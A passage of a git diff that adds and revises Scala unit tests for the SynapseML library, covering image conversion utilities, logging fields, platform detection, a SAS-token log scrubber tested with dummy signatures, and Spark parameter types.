returns a string") { + val platformInfo = HeaderValues.PlatformInfo + assert(platformInfo != null) + assert(platformInfo.nonEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/io/image/VerifyImageUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/image/VerifyImageUtils.scala new file mode 100644 index 00000000000..f8dca6ce09f --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/image/VerifyImageUtils.scala @@ -0,0 +1,159 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.io.image + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +import java.awt.image.BufferedImage + +class VerifyImageUtils extends TestBase { + + test("channelsToType returns TYPE_BYTE_GRAY for 1 channel") { + assert(ImageUtils.channelsToType(1) === BufferedImage.TYPE_BYTE_GRAY) + } + + test("channelsToType returns TYPE_3BYTE_BGR for 3 channels") { + assert(ImageUtils.channelsToType(3) === BufferedImage.TYPE_3BYTE_BGR) + } + + test("channelsToType returns TYPE_4BYTE_ABGR for 4 channels") { + assert(ImageUtils.channelsToType(4) === BufferedImage.TYPE_4BYTE_ABGR) + } + + test("channelsToType throws for unsupported channel count") { + assertThrows[UnsupportedOperationException] { + ImageUtils.channelsToType(2) + } + assertThrows[UnsupportedOperationException] { + ImageUtils.channelsToType(5) + } + assertThrows[UnsupportedOperationException] { + ImageUtils.channelsToType(0) + } + } + + test("toBufferedImage creates image from byte array - grayscale") { + val width = 2 + val height = 2 + val nChannels = 1 + val bytes = Array[Byte](10, 20, 30, 40) + + val img = ImageUtils.toBufferedImage(bytes, width, height, nChannels) + + assert(img.getWidth === width) + assert(img.getHeight === height) + assert(img.getType === BufferedImage.TYPE_BYTE_GRAY) + } + + test("toBufferedImage creates image from byte array - RGB") { + val width = 2 + val height = 2 + val nChannels = 3 + // BGR format: 2x2 pixels = 12 bytes + val bytes = Array[Byte]( + 0, 0, 100.toByte, // pixel (0,0) + 0, 100.toByte, 0, // pixel (1,0) + 100.toByte, 0, 0, // pixel (0,1) + 50, 50, 50 // pixel (1,1) + ) + + val img = ImageUtils.toBufferedImage(bytes, width, height, nChannels) + + assert(img.getWidth === width) + assert(img.getHeight === height) + assert(img.getType === BufferedImage.TYPE_3BYTE_BGR) + } + + test("toBufferedImage creates image from byte array - RGBA") { + val width = 2 + val height = 1 + val nChannels = 4 + // ABGR format: 2x1 pixels = 8 bytes + val bytes = Array[Byte](0, 0, 100.toByte, -1, 100.toByte, 0, 0, -1) + + val img = ImageUtils.toBufferedImage(bytes, width, height, nChannels) + + assert(img.getWidth === width) + assert(img.getHeight === height) + assert(img.getType === BufferedImage.TYPE_4BYTE_ABGR) + } + + test("safeRead returns None for null bytes") { + // scalastyle:off null + val result = ImageUtils.safeRead(null) + // scalastyle:on null + assert(result.isEmpty) + } + + test("safeRead returns None for invalid image bytes") { + val invalidBytes = Array[Byte](1, 2, 3, 4, 5) + val result = ImageUtils.safeRead(invalidBytes) + assert(result.isEmpty) + } + + test("toSparkImage converts BufferedImage to Row format") { + val img = new BufferedImage(10, 10, BufferedImage.TYPE_3BYTE_BGR) + val row = ImageUtils.toSparkImage(img, Some("/path/to/image.jpg")) + + assert(row != null) + // The row should contain an inner row with image data + val innerRow = row.getAs[org.apache.spark.sql.Row](0) + assert(innerRow.getAs[Option[String]](0) === Some("/path/to/image.jpg")) + assert(innerRow.getAs[Int](1) === 10) // height + assert(innerRow.getAs[Int](2) === 10) // width + assert(innerRow.getAs[Int](3) === 3) // nChannels + } + + test("toSparkImage works without path") { + val img = new BufferedImage(5, 5, BufferedImage.TYPE_BYTE_GRAY) + val row = ImageUtils.toSparkImage(img, None) + + assert(row != null) + val innerRow = row.getAs[org.apache.spark.sql.Row](0) + assert(innerRow.getAs[Int](3) === 1) // grayscale = 1 channel + } + + test("toSparkImageTuple returns correct tuple for grayscale image") { + val img = new BufferedImage(4, 3, BufferedImage.TYPE_BYTE_GRAY) + val (path, height, width, nChannels, mode, decoded) = ImageUtils.toSparkImageTuple(img, Some("/test")) + + assert(path === Some("/test")) + assert(height === 3) + assert(width === 4) + assert(nChannels === 1) + assert(decoded.length === 4 * 3 * 1) // width * height * channels + } + + test("toSparkImageTuple returns correct tuple for RGB image") { + val img = new BufferedImage(4, 3, BufferedImage.TYPE_3BYTE_BGR) + val (path, height, width, nChannels, mode, decoded) = ImageUtils.toSparkImageTuple(img) + + assert(path === None) + assert(height === 3) + assert(width === 4) + assert(nChannels === 3) + assert(decoded.length === 4 * 3 * 3) + } + + test("toSparkImageTuple returns correct tuple for RGBA image") { + val img = new BufferedImage(2, 2, BufferedImage.TYPE_4BYTE_ABGR) + val (_, height, width, nChannels, _, decoded) = ImageUtils.toSparkImageTuple(img) + + assert(height === 2) + assert(width === 2) + assert(nChannels === 4) + assert(decoded.length === 2 * 2 * 4) + } + + test("roundtrip: toSparkImage then toBufferedImage preserves dimensions") { + val original = new BufferedImage(8, 6, BufferedImage.TYPE_3BYTE_BGR) + val sparkRow = ImageUtils.toSparkImage(original) + val innerRow = sparkRow.getAs[org.apache.spark.sql.Row](0) + + val reconstructed = ImageUtils.toBufferedImage(innerRow) + + assert(reconstructed.getWidth === original.getWidth) + assert(reconstructed.getHeight === original.getHeight) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifyFeatureNames.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifyFeatureNames.scala new file mode 100644 index 00000000000..e3c3fba8065 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifyFeatureNames.scala @@ -0,0 +1,61 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.logging + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyFeatureNames extends TestBase { + + test("AiServices constants have expected values") { + assert(FeatureNames.AiServices.Face === "aiservice-face") + assert(FeatureNames.AiServices.Form === "aiservice-form") + assert(FeatureNames.AiServices.Language === "aiservice-language") + assert(FeatureNames.AiServices.OpenAI === "aiservice-openai") + assert(FeatureNames.AiServices.Search === "aiservice-search") + assert(FeatureNames.AiServices.Speech === "aiservice-speech") + assert(FeatureNames.AiServices.Text === "aiservice-text") + assert(FeatureNames.AiServices.Translate === "aiservice-translate") + assert(FeatureNames.AiServices.Vision === "aiservice-vision") + } + + test("ML feature constants have expected values") { + assert(FeatureNames.AutoML === "automl") + assert(FeatureNames.Causal === "causal") + assert(FeatureNames.Explainers === "explainers") + assert(FeatureNames.Featurize === "featurize") + assert(FeatureNames.Geospatial === "geospatial") + assert(FeatureNames.Image === "image") + assert(FeatureNames.IsolationForest === "isolationforest") + assert(FeatureNames.NearestNeighbor === "nearestneighbor") + assert(FeatureNames.Recommendation === "recommendation") + } + + test("Deep learning and model feature constants have expected values") { + assert(FeatureNames.DeepLearning === "deeplearning") + assert(FeatureNames.OpenCV === "opencv") + assert(FeatureNames.LightGBM === "lightgbm") + assert(FeatureNames.VowpalWabbit === "vowpalwabbit") + } + + test("Core constant has expected value") { + assert(FeatureNames.Core === "core") + } + + test("All AiServices constants start with 'aiservice-' prefix") { + val aiServices = Seq( + FeatureNames.AiServices.Face, + FeatureNames.AiServices.Form, + FeatureNames.AiServices.Language, + FeatureNames.AiServices.OpenAI, + FeatureNames.AiServices.Search, + FeatureNames.AiServices.Speech, + FeatureNames.AiServices.Text, + FeatureNames.AiServices.Translate, + FeatureNames.AiServices.Vision + ) + aiServices.foreach { name => + assert(name.startsWith("aiservice-"), s"$name should start with 'aiservice-'") + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala new file mode 100644 index 00000000000..ca9ffa7aa32 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala @@ -0,0 +1,112 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.logging + +import com.microsoft.azure.synapse.ml.build.BuildInfo +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifySynapseMLLogging extends TestBase { + + test("RequiredLogFields stores uid, className, and method") { + val fields = RequiredLogFields("test-uid-123", "TestClass", "testMethod") + assert(fields.uid === "test-uid-123") + assert(fields.className === "TestClass") + assert(fields.method === "testMethod") + } + + test("RequiredLogFields.toMap contains all required fields") { + val fields = RequiredLogFields("uid1", "MyClass", "myMethod") + val map = fields.toMap + + assert(map("modelUid") === "uid1") + assert(map("className") === "MyClass") + assert(map("method") === "myMethod") + assert(map("libraryVersion") === BuildInfo.version) + assert(map("libraryName") === "SynapseML") + assert(map("protocolVersion") === "0.0.1") + } + + test("RequiredLogFields.toMap size is 6") { + val fields = RequiredLogFields("uid", "class", "method") + assert(fields.toMap.size === 6) + } + + test("RequiredErrorFields stores errorType and errorMessage") { + val fields = RequiredErrorFields("java.lang.RuntimeException", "Test error message") + assert(fields.errorType === "java.lang.RuntimeException") + assert(fields.errorMessage === "Test error message") + } + + test("RequiredErrorFields.toMap contains error fields") { + val fields = RequiredErrorFields("ErrorType", "ErrorMessage") + val map = fields.toMap + + assert(map("errorType") === "ErrorType") + assert(map("errorMessage") === "ErrorMessage") + } + + test("RequiredErrorFields can be created from Exception") { + val exception = new RuntimeException("Test exception message") + val fields = new RequiredErrorFields(exception) + + assert(fields.errorType === "java.lang.RuntimeException") + assert(fields.errorMessage === "Test exception message") + } + + test("RequiredErrorFields handles exception with no message") { + // scalastyle:off null + val exception = new RuntimeException(None.orNull: String) + val fields = new RequiredErrorFields(exception) + + assert(fields.errorType === "java.lang.RuntimeException") + assert(Option(fields.errorMessage).isEmpty) + // scalastyle:on null + } + + test("RequiredErrorFields.toMap is JSON-serializable when the exception has no message") { + // Regression: Exception.getMessage is null when an exception is constructed + // without a message. spray-json's JsString rejects null, so an unguarded + // value made getPayload(...).toJson throw IllegalArgumentException and mask + // whatever error was actually being logged. + // scalastyle:off null + val exception = new RuntimeException(None.orNull: String) + // scalastyle:on null + val map = new RequiredErrorFields(exception).toMap + + assert(map("errorMessage") === "") + assert(map("errorType") === "java.lang.RuntimeException") + + import spray.json.DefaultJsonProtocol._ + import spray.json._ + val json = map.toJson.compactPrint + assert(json.contains("\"errorMessage\":\"\"")) + } + + test("SynapseMLLogging.HadoopKeysToLog contains expected mappings") { + val keys = SynapseMLLogging.HadoopKeysToLog + + assert(keys("trident.artifact.id") === "artifactId") + assert(keys("trident.workspace.id") === "workspaceId") + assert(keys("trident.capacity.id") === "capacityId") + assert(keys("trident.artifact.workspace.id") === "artifactWorkspaceId") + assert(keys("trident.lakehouse.id") === "lakehouseId") + assert(keys("trident.activity.id") === "livyId") + assert(keys("trident.artifact.type") === "artifactType") + assert(keys("trident.tenant.id") === "tenantId") + } + + test("SynapseMLLogging.HadoopKeysToLog size is 8") { + assert(SynapseMLLogging.HadoopKeysToLog.size === 8) + } + + test("SynapseMLLogging.LoggedClasses is a mutable set") { + try { + SynapseMLLogging.LoggedClasses.add("TestClass") + assert(SynapseMLLogging.LoggedClasses.contains("TestClass")) + } finally { + // Clean up to avoid leaking state into other tests + SynapseMLLogging.LoggedClasses.remove("TestClass") + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyPlatformDetails.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyPlatformDetails.scala index 3ca5b1f3f6a..1e1c2444878 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyPlatformDetails.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyPlatformDetails.scala @@ -7,24 +7,61 @@ import com.microsoft.azure.synapse.ml.core.test.base.TestBase class VerifyPlatformDetails extends TestBase { - test("currentPlatform returns a non-null non-empty string") { - val platform = PlatformDetails.currentPlatform() - assert(platform != null) + test("Platform constants have expected values") { + assert(PlatformDetails.PlatformSynapseInternal === "synapse_internal") + assert(PlatformDetails.PlatformSynapse === "synapse") + assert(PlatformDetails.PlatformBinder === "binder") + assert(PlatformDetails.PlatformDatabricks === "databricks") + assert(PlatformDetails.PlatformUnknown === "unknown") + assert(PlatformDetails.SynapseProjectName === "Microsoft.ProjectArcadia") + } + + test("CurrentPlatform returns a string") { + val platform = PlatformDetails.CurrentPlatform assert(platform.nonEmpty) } - test("currentPlatform returns one of the known platform values") { - val known = Set( + test("currentPlatform returns a valid platform string") { + val platform = PlatformDetails.currentPlatform() + val validPlatforms = Set( PlatformDetails.PlatformSynapseInternal, PlatformDetails.PlatformSynapse, - PlatformDetails.PlatformDatabricks, PlatformDetails.PlatformBinder, + PlatformDetails.PlatformDatabricks, PlatformDetails.PlatformUnknown ) - assert(known.contains(PlatformDetails.currentPlatform())) + assert(validPlatforms.contains(platform)) + } + + test("runningOnSynapseInternal agrees with CurrentPlatform") { + assert(PlatformDetails.runningOnSynapseInternal() === + (PlatformDetails.CurrentPlatform == PlatformDetails.PlatformSynapseInternal)) } - test("runningOnFabric is consistent with runningOnSynapseInternal") { + test("runningOnSynapse agrees with CurrentPlatform") { + assert(PlatformDetails.runningOnSynapse() === + (PlatformDetails.CurrentPlatform == PlatformDetails.PlatformSynapse)) + } + + test("runningOnSynapse and runningOnSynapseInternal are mutually exclusive") { + assert(!(PlatformDetails.runningOnSynapse() && PlatformDetails.runningOnSynapseInternal())) + } + + test("runningOnFabric returns same as runningOnSynapseInternal") { assert(PlatformDetails.runningOnFabric() === PlatformDetails.runningOnSynapseInternal()) } + + test("CurrentPlatform returns a known platform value") { + val platform = PlatformDetails.CurrentPlatform + // Expected platforms when running tests on a local/dev environment + val expectedOnDev = Set(PlatformDetails.PlatformUnknown, PlatformDetails.PlatformBinder) + // Allow-list of platforms that may legitimately appear in CI (e.g., Synapse or Databricks) + val ciPlatforms = Set( + PlatformDetails.PlatformSynapseInternal, + PlatformDetails.PlatformSynapse, + PlatformDetails.PlatformDatabricks + ) + // Verify that the platform is either a dev-expected value or a known CI platform + assert(expectedOnDev.contains(platform) || ciPlatforms.contains(platform)) + } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyScrubber.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyScrubber.scala index 5db71ef9d3f..f97a237c6c6 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyScrubber.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/common/VerifyScrubber.scala @@ -7,50 +7,67 @@ import com.microsoft.azure.synapse.ml.core.test.base.TestBase class VerifyScrubber extends TestBase { - test("SASScrubber replaces SAS signature in URL") { - val url = "https://storage.blob.core.windows.net/container?sv=2021-06-08" + - "&sig=abcdef1234567890abcdef1234567890abcdef12345%3d&se=2024-01-01" - val scrubbed = SASScrubber.scrub(url) - assert(scrubbed.contains("sig=####")) - assert(!scrubbed.contains("abcdef1234567890")) - } - - test("SASScrubber leaves strings without SAS tokens unchanged") { - val message = "This is a normal log message with no SAS token" - assert(SASScrubber.scrub(message) === message) - } - - test("SASScrubber handles multiple SAS tokens in same string") { - val url1 = "https://storage1.blob.core.windows.net/c1?sig=abcdef1234567890abcdef1234567890abcdef12345%3d" - val url2 = "https://storage2.blob.core.windows.net/c2?sig=123456abcdef7890123456abcdef7890123456abc78%3d" - val combined = s"$url1 and $url2" - val scrubbed = SASScrubber.scrub(combined) - assert(scrubbed === "https://storage1.blob.core.windows.net/c1?sig=####" + - " and https://storage2.blob.core.windows.net/c2?sig=####") - } - - test("SASScrubber is case insensitive") { - val upperUrl = "https://storage.blob.core.windows.net/container" + - "?SIG=ABCDEF1234567890ABCDEF1234567890ABCDEF12345%3D&se=2024-01-01" - val mixedUrl = "https://storage.blob.core.windows.net/container" + - "?Sig=AbCdEf1234567890AbCdEf1234567890AbCdEf12345%3d&se=2024-01-01" - val scrubbedUpper = SASScrubber.scrub(upperUrl) - val scrubbedMixed = SASScrubber.scrub(mixedUrl) - assert(scrubbedUpper.contains("sig=####")) - assert(scrubbedMixed.contains("sig=####")) - assert(!scrubbedUpper.contains("ABCDEF1234567890")) - assert(!scrubbedMixed.contains("AbCdEf1234567890")) - } - - test("SASScrubber preserves rest of URL around the signature") { - val url = "https://storage.blob.core.windows.net/container?sv=2021-06-08" + - "&sig=abcdef1234567890abcdef1234567890abcdef12345%3d&se=2024-01-01&sp=r" - val scrubbed = SASScrubber.scrub(url) - assert(scrubbed.contains("sv=2021-06-08")) - assert(scrubbed.contains("se=2024-01-01")) - assert(scrubbed.contains("sp=r")) - assert(scrubbed.contains("sig=####")) - assert(scrubbed === "https://storage.blob.core.windows.net/container?sv=2021-06-08" + - "&sig=####&se=2024-01-01&sp=r") + test("SASScrubber scrubs SAS signature from URL") { + // SAS tokens typically contain sig= followed by base64-like encoded signature + // Dummy URL for testing - not a real endpoint + // scalastyle:off line.size.limit + val urlWithSas = "https://storage.blob.core.windows.net/container/file?sig=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + // scalastyle:on line.size.limit + val result = SASScrubber.scrub(urlWithSas) + assert(result.contains("sig=####")) + assert(!result.contains("abcdefghijklmnopqrstuvwxyz")) + } + + test("SASScrubber handles multiple SAS signatures in one string") { + // Use signatures that match the pattern: sig= followed by 43-63 alphanumeric/% chars ending with %3d + val sig1 = "sig=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + val sig2 = "sig=XYZ987wvu654tsr321qpo098nml765kji432hgf109AB%3d" + val message = s"URL1: $sig1 and URL2: $sig2" + val result = SASScrubber.scrub(message) + // Both signatures should be replaced + assert(!result.contains("abcdefghijklmnopqrstuvwxyz")) + assert(!result.contains("XYZ987wvu654")) + assert(result.contains("sig=####")) + } + + test("SASScrubber leaves non-SAS content unchanged") { + val message = "This is a normal log message without any signatures" + val result = SASScrubber.scrub(message) + assert(result === message) + } + + test("SASScrubber is case insensitive for sig parameter") { + val lowerCase = "https://test.com?sig=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + val upperCase = "https://test.com?SIG=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + val mixedCase = "https://test.com?SiG=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + + assert(SASScrubber.scrub(lowerCase).contains("sig=####")) + assert(SASScrubber.scrub(upperCase).contains("sig=####")) + assert(SASScrubber.scrub(mixedCase).contains("sig=####")) + } + + test("SASScrubber handles empty string") { + assert(SASScrubber.scrub("") === "") + } + + test("SASScrubber handles string with only sig= but invalid signature") { + // Too short signature should not be scrubbed + val shortSig = "https://test.com?sig=abc" + assert(SASScrubber.scrub(shortSig) === shortSig) + } + + test("SASScrubber preserves text before and after signature") { + val message = "Prefix text sig=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d suffix text" + val result = SASScrubber.scrub(message) + assert(result.startsWith("Prefix text")) + assert(result.endsWith("suffix text")) + assert(result.contains("sig=####")) + } + + test("SASScrubber implements Scrubber trait") { + val scrubber: Scrubber = SASScrubber + val message = "Test sig=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%3d" + val result = scrubber.scrub(message) + assert(result.contains("sig=####")) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyByteArrayParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyByteArrayParam.scala new file mode 100644 index 00000000000..cde25744473 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyByteArrayParam.scala @@ -0,0 +1,78 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} + +class VerifyByteArrayParam extends TestBase { + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val bytesParam = new ByteArrayParam(this, "bytes", "A byte array param") + override def copy(extra: ParamMap): Params = this + } + + test("ByteArrayParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.bytesParam.name === "bytes") + assert(holder.bytesParam.doc === "A byte array param") + } + + test("ByteArrayParam accepts empty byte array") { + val holder = new TestParamsHolder + holder.set(holder.bytesParam, Array.empty[Byte]) + assert(holder.get(holder.bytesParam).exists(_.isEmpty)) + } + + test("ByteArrayParam accepts byte array with data") { + val holder = new TestParamsHolder + val data = Array[Byte](1, 2, 3, 4, 5) + holder.set(holder.bytesParam, data) + assert(holder.get(holder.bytesParam).exists(_.sameElements(data))) + } + + test("ByteArrayParam accepts large byte array") { + val holder = new TestParamsHolder + val data = Array.fill(1000)(42.toByte) + holder.set(holder.bytesParam, data) + assert(holder.get(holder.bytesParam).exists(_.length === 1000)) + } + + test("ByteArrayParam accepts byte array with all byte values") { + val holder = new TestParamsHolder + val data = (-128 to 127).map(_.toByte).toArray + holder.set(holder.bytesParam, data) + assert(holder.get(holder.bytesParam).exists(_.length === 256)) + } + + test("ByteArrayParam custom validator accepts and rejects per its predicate") { + val holder = new Params { + override val uid: String = "test" + val nonEmptyBytes = new ByteArrayParam( + this, "nonEmpty", "Non-empty byte array", + (arr: Array[Byte]) => arr.nonEmpty + ) + override def copy(extra: ParamMap): Params = this + } + holder.set(holder.nonEmptyBytes, Array[Byte](1, 2, 3)) + assert(holder.get(holder.nonEmptyBytes).exists(_.length === 3)) + assertThrows[IllegalArgumentException] { + holder.set(holder.nonEmptyBytes, Array.empty[Byte]) + } + } + + test("ByteArrayParam can be cleared") { + val holder = new TestParamsHolder + holder.set(holder.bytesParam, Array[Byte](1, 2, 3)) + assert(holder.isSet(holder.bytesParam)) + holder.clear(holder.bytesParam) + assert(!holder.isSet(holder.bytesParam)) + } + + test("ByteArrayParam returns None when not set") { + val holder = new TestParamsHolder + assert(holder.get(holder.bytesParam).isEmpty) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataFrameParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataFrameParam.scala new file mode 100644 index 00000000000..485be61190f --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataFrameParam.scala @@ -0,0 +1,163 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.linalg.{DenseVector, Vectors} +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.sql.{DataFrame, Row} +import org.apache.spark.sql.types._ + +class VerifyDataFrameParam extends TestBase { + + import spark.implicits._ + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val dfParam = new DataFrameParam(this, "dataFrame", "A dataframe param") + override def copy(extra: ParamMap): Params = this + } + + // DataFrameParam basic tests + test("DataFrameParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.dfParam.name === "dataFrame") + assert(holder.dfParam.doc === "A dataframe param") + } + + test("DataFrameParam accepts DataFrame") { + val holder = new TestParamsHolder + val df = Seq(("a", 1), ("b", 2)).toDF("str", "num") + holder.set(holder.dfParam, df) + assert(holder.isSet(holder.dfParam)) + } + + test("DataFrameParam pyValue returns DF reference") { + val holder = new TestParamsHolder + val df = Seq(1, 2, 3).toDF("num") + val pyVal = holder.dfParam.pyValue(df) + assert(pyVal === "dataFrameDF") + } + + test("DataFrameParam pyLoadLine generates Python code") { + val holder = new TestParamsHolder + val pyCode = holder.dfParam.pyLoadLine(1) + assert(pyCode.contains("spark.read.parquet")) + assert(pyCode.contains("model-1.model")) + assert(pyCode.contains("complexParams")) + assert(pyCode.contains("dataFrame")) + } + + test("DataFrameParam rValue returns DF reference") { + val holder = new TestParamsHolder + val df = Seq(1, 2, 3).toDF("num") + val rVal = holder.dfParam.rValue(df) + assert(rVal === "dataFrameDF") + } + + test("DataFrameParam rLoadLine generates R code") { + val holder = new TestParamsHolder + val rCode = holder.dfParam.rLoadLine(2) + assert(rCode.contains("spark_read_parquet")) + assert(rCode.contains("model-2.model")) + assert(rCode.contains("complexParams")) + assert(rCode.contains("dataFrame")) + } + + // DataFrameEquality tests + test("DataFrameEquality compares equal DataFrames correctly") { + val holder = new TestParamsHolder + val df1 = Seq(("a", 1), ("b", 2)).toDF("str", "num") + val df2 = Seq(("a", 1), ("b", 2)).toDF("str", "num") + // Should not throw + holder.dfParam.assertEquality(df1, df2) + } + + test("DataFrameEquality detects different DataFrames") { + val holder = new TestParamsHolder + val df1 = Seq(("a", 1), ("b", 2)).toDF("str", "num") + val df2 = Seq(("a", 1), ("c", 3)).toDF("str", "num") + assertThrows[AssertionError] { + holder.dfParam.assertEquality(df1, df2) + } + } + + test("DataFrameEquality throws for non-DataFrame types") { + val holder = new TestParamsHolder + assertThrows[AssertionError] { + holder.dfParam.assertEquality("not a df", "also not a df") + } + } + + // DataFrameEquality implicit tests + test("DataFrameEquality handles doubles with tolerance") { + val holder = new TestParamsHolder + val df1 = Seq(1.0, 2.0, 3.0).toDF("num") + val df2 = Seq(1.00001, 2.00001, 3.00001).toDF("num") + // Should not throw due to tolerance + holder.dfParam.assertEquality(df1, df2) + } + + test("DataFrameEquality handles NaN values") { + val holder = new TestParamsHolder + val df1 = Seq(Double.NaN, 2.0).toDF("num") + val df2 = Seq(Double.NaN, 2.0).toDF("num") + holder.dfParam.assertEquality(df1, df2) + } + + test("DataFrameEquality handles DenseVector columns") { + val holder = new TestParamsHolder + // Create DataFrames with vector columns using VectorAssembler + import org.apache.spark.ml.feature.VectorAssembler + val baseData1 = Seq((1.0, 2.0), (3.0, 4.0)).toDF("a", "b") + val baseData2 = Seq((1.0, 2.0), (3.0, 4.0)).toDF("a", "b") + val assembler = new VectorAssembler().setInputCols(Array("a", "b")).setOutputCol("vec") + val df1 = assembler.transform(baseData1).select("vec") + val df2 = assembler.transform(baseData2).select("vec") + holder.dfParam.assertEquality(df1, df2) + } + + test("DataFrameEquality handles binary columns") { + val holder = new TestParamsHolder + val df1 = Seq(Array[Byte](1, 2, 3)).toDF("bytes") + val df2 = Seq(Array[Byte](1, 2, 3)).toDF("bytes") + holder.dfParam.assertEquality(df1, df2) + } + + test("DataFrameEquality detects different column names") { + val holder = new TestParamsHolder + val df1 = Seq(1, 2, 3).toDF("col1") + val df2 = Seq(1, 2, 3).toDF("col2") + assertThrows[AssertionError] { + holder.dfParam.assertEquality(df1, df2) + } + } + + test("DataFrameEquality detects different row counts") { + val holder = new TestParamsHolder + val df1 = Seq(1, 2, 3).toDF("num") + val df2 = Seq(1, 2).toDF("num") + assertThrows[AssertionError] { + holder.dfParam.assertEquality(df1, df2) + } + } + + test("DataFrameParam with custom validator") { + val holder = new Params { + override val uid: String = "test" + val nonEmptyDf = new DataFrameParam( + this, "nonEmpty", "Non-empty dataframe", + (df: DataFrame) => df.count() > 0 + ) + override def copy(extra: ParamMap): Params = this + } + val df = Seq(1, 2, 3).toDF("num") + holder.set(holder.nonEmptyDf, df) + } + + test("DataFrameParam sortInDataframeEquality is true") { + val holder = new TestParamsHolder + assert(holder.dfParam.sortInDataframeEquality) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataTypeParam.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataTypeParam.scala new file mode 100644 index 00000000000..afeb1a4d793 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataTypeParam.scala @@ -0,0 +1,126 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.param + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.sql.types._ + +class VerifyDataTypeParam extends TestBase { + + private class TestParamsHolder extends Params { + override val uid: String = "test-holder" + val dataTypeParam = new DataTypeParam(this, "dataType", "A data type param") + override def copy(extra: ParamMap): Params = this + } + + test("DataTypeParam can be created with basic constructor") { + val holder = new TestParamsHolder + assert(holder.dataTypeParam.name === "dataType") + assert(holder.dataTypeParam.doc === "A data type param") + } + + test("DataTypeParam accepts StringType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, StringType) + assert(holder.get(holder.dataTypeParam).contains(StringType)) + } + + test("DataTypeParam accepts IntegerType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, IntegerType) + assert(holder.get(holder.dataTypeParam).contains(IntegerType)) + } + + test("DataTypeParam accepts DoubleType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, DoubleType) + assert(holder.get(holder.dataTypeParam).contains(DoubleType)) + } + + test("DataTypeParam accepts BooleanType") { + val holder = new TestParamsHolder + holder.set(holder.dataTypeParam, BooleanType) + assert(holder.get(holder.dataTypeParam).contains(BooleanType)) + } + + test("DataTypeParam accepts ArrayType") { + val holder = new TestParamsHolder + val arrayType = ArrayType(StringType) + holder.set(holder.dataTypeParam, arrayType) + assert(holder.get(holder.dataTypeParam).contains(arrayType)) + } + + test("DataTypeParam accepts MapType") { + val holder = new TestParamsHolder + val mapType = MapType(StringType, IntegerType) + holder.set(holder.dataTypeParam, mapType) + assert(holder.get(holder.dataTypeParam).contains(mapType)) + } + + test("DataTypeParam accepts StructType") { + val holder = new TestParamsHolder + val structType = StructType(Seq( + StructField("name", StringType), + 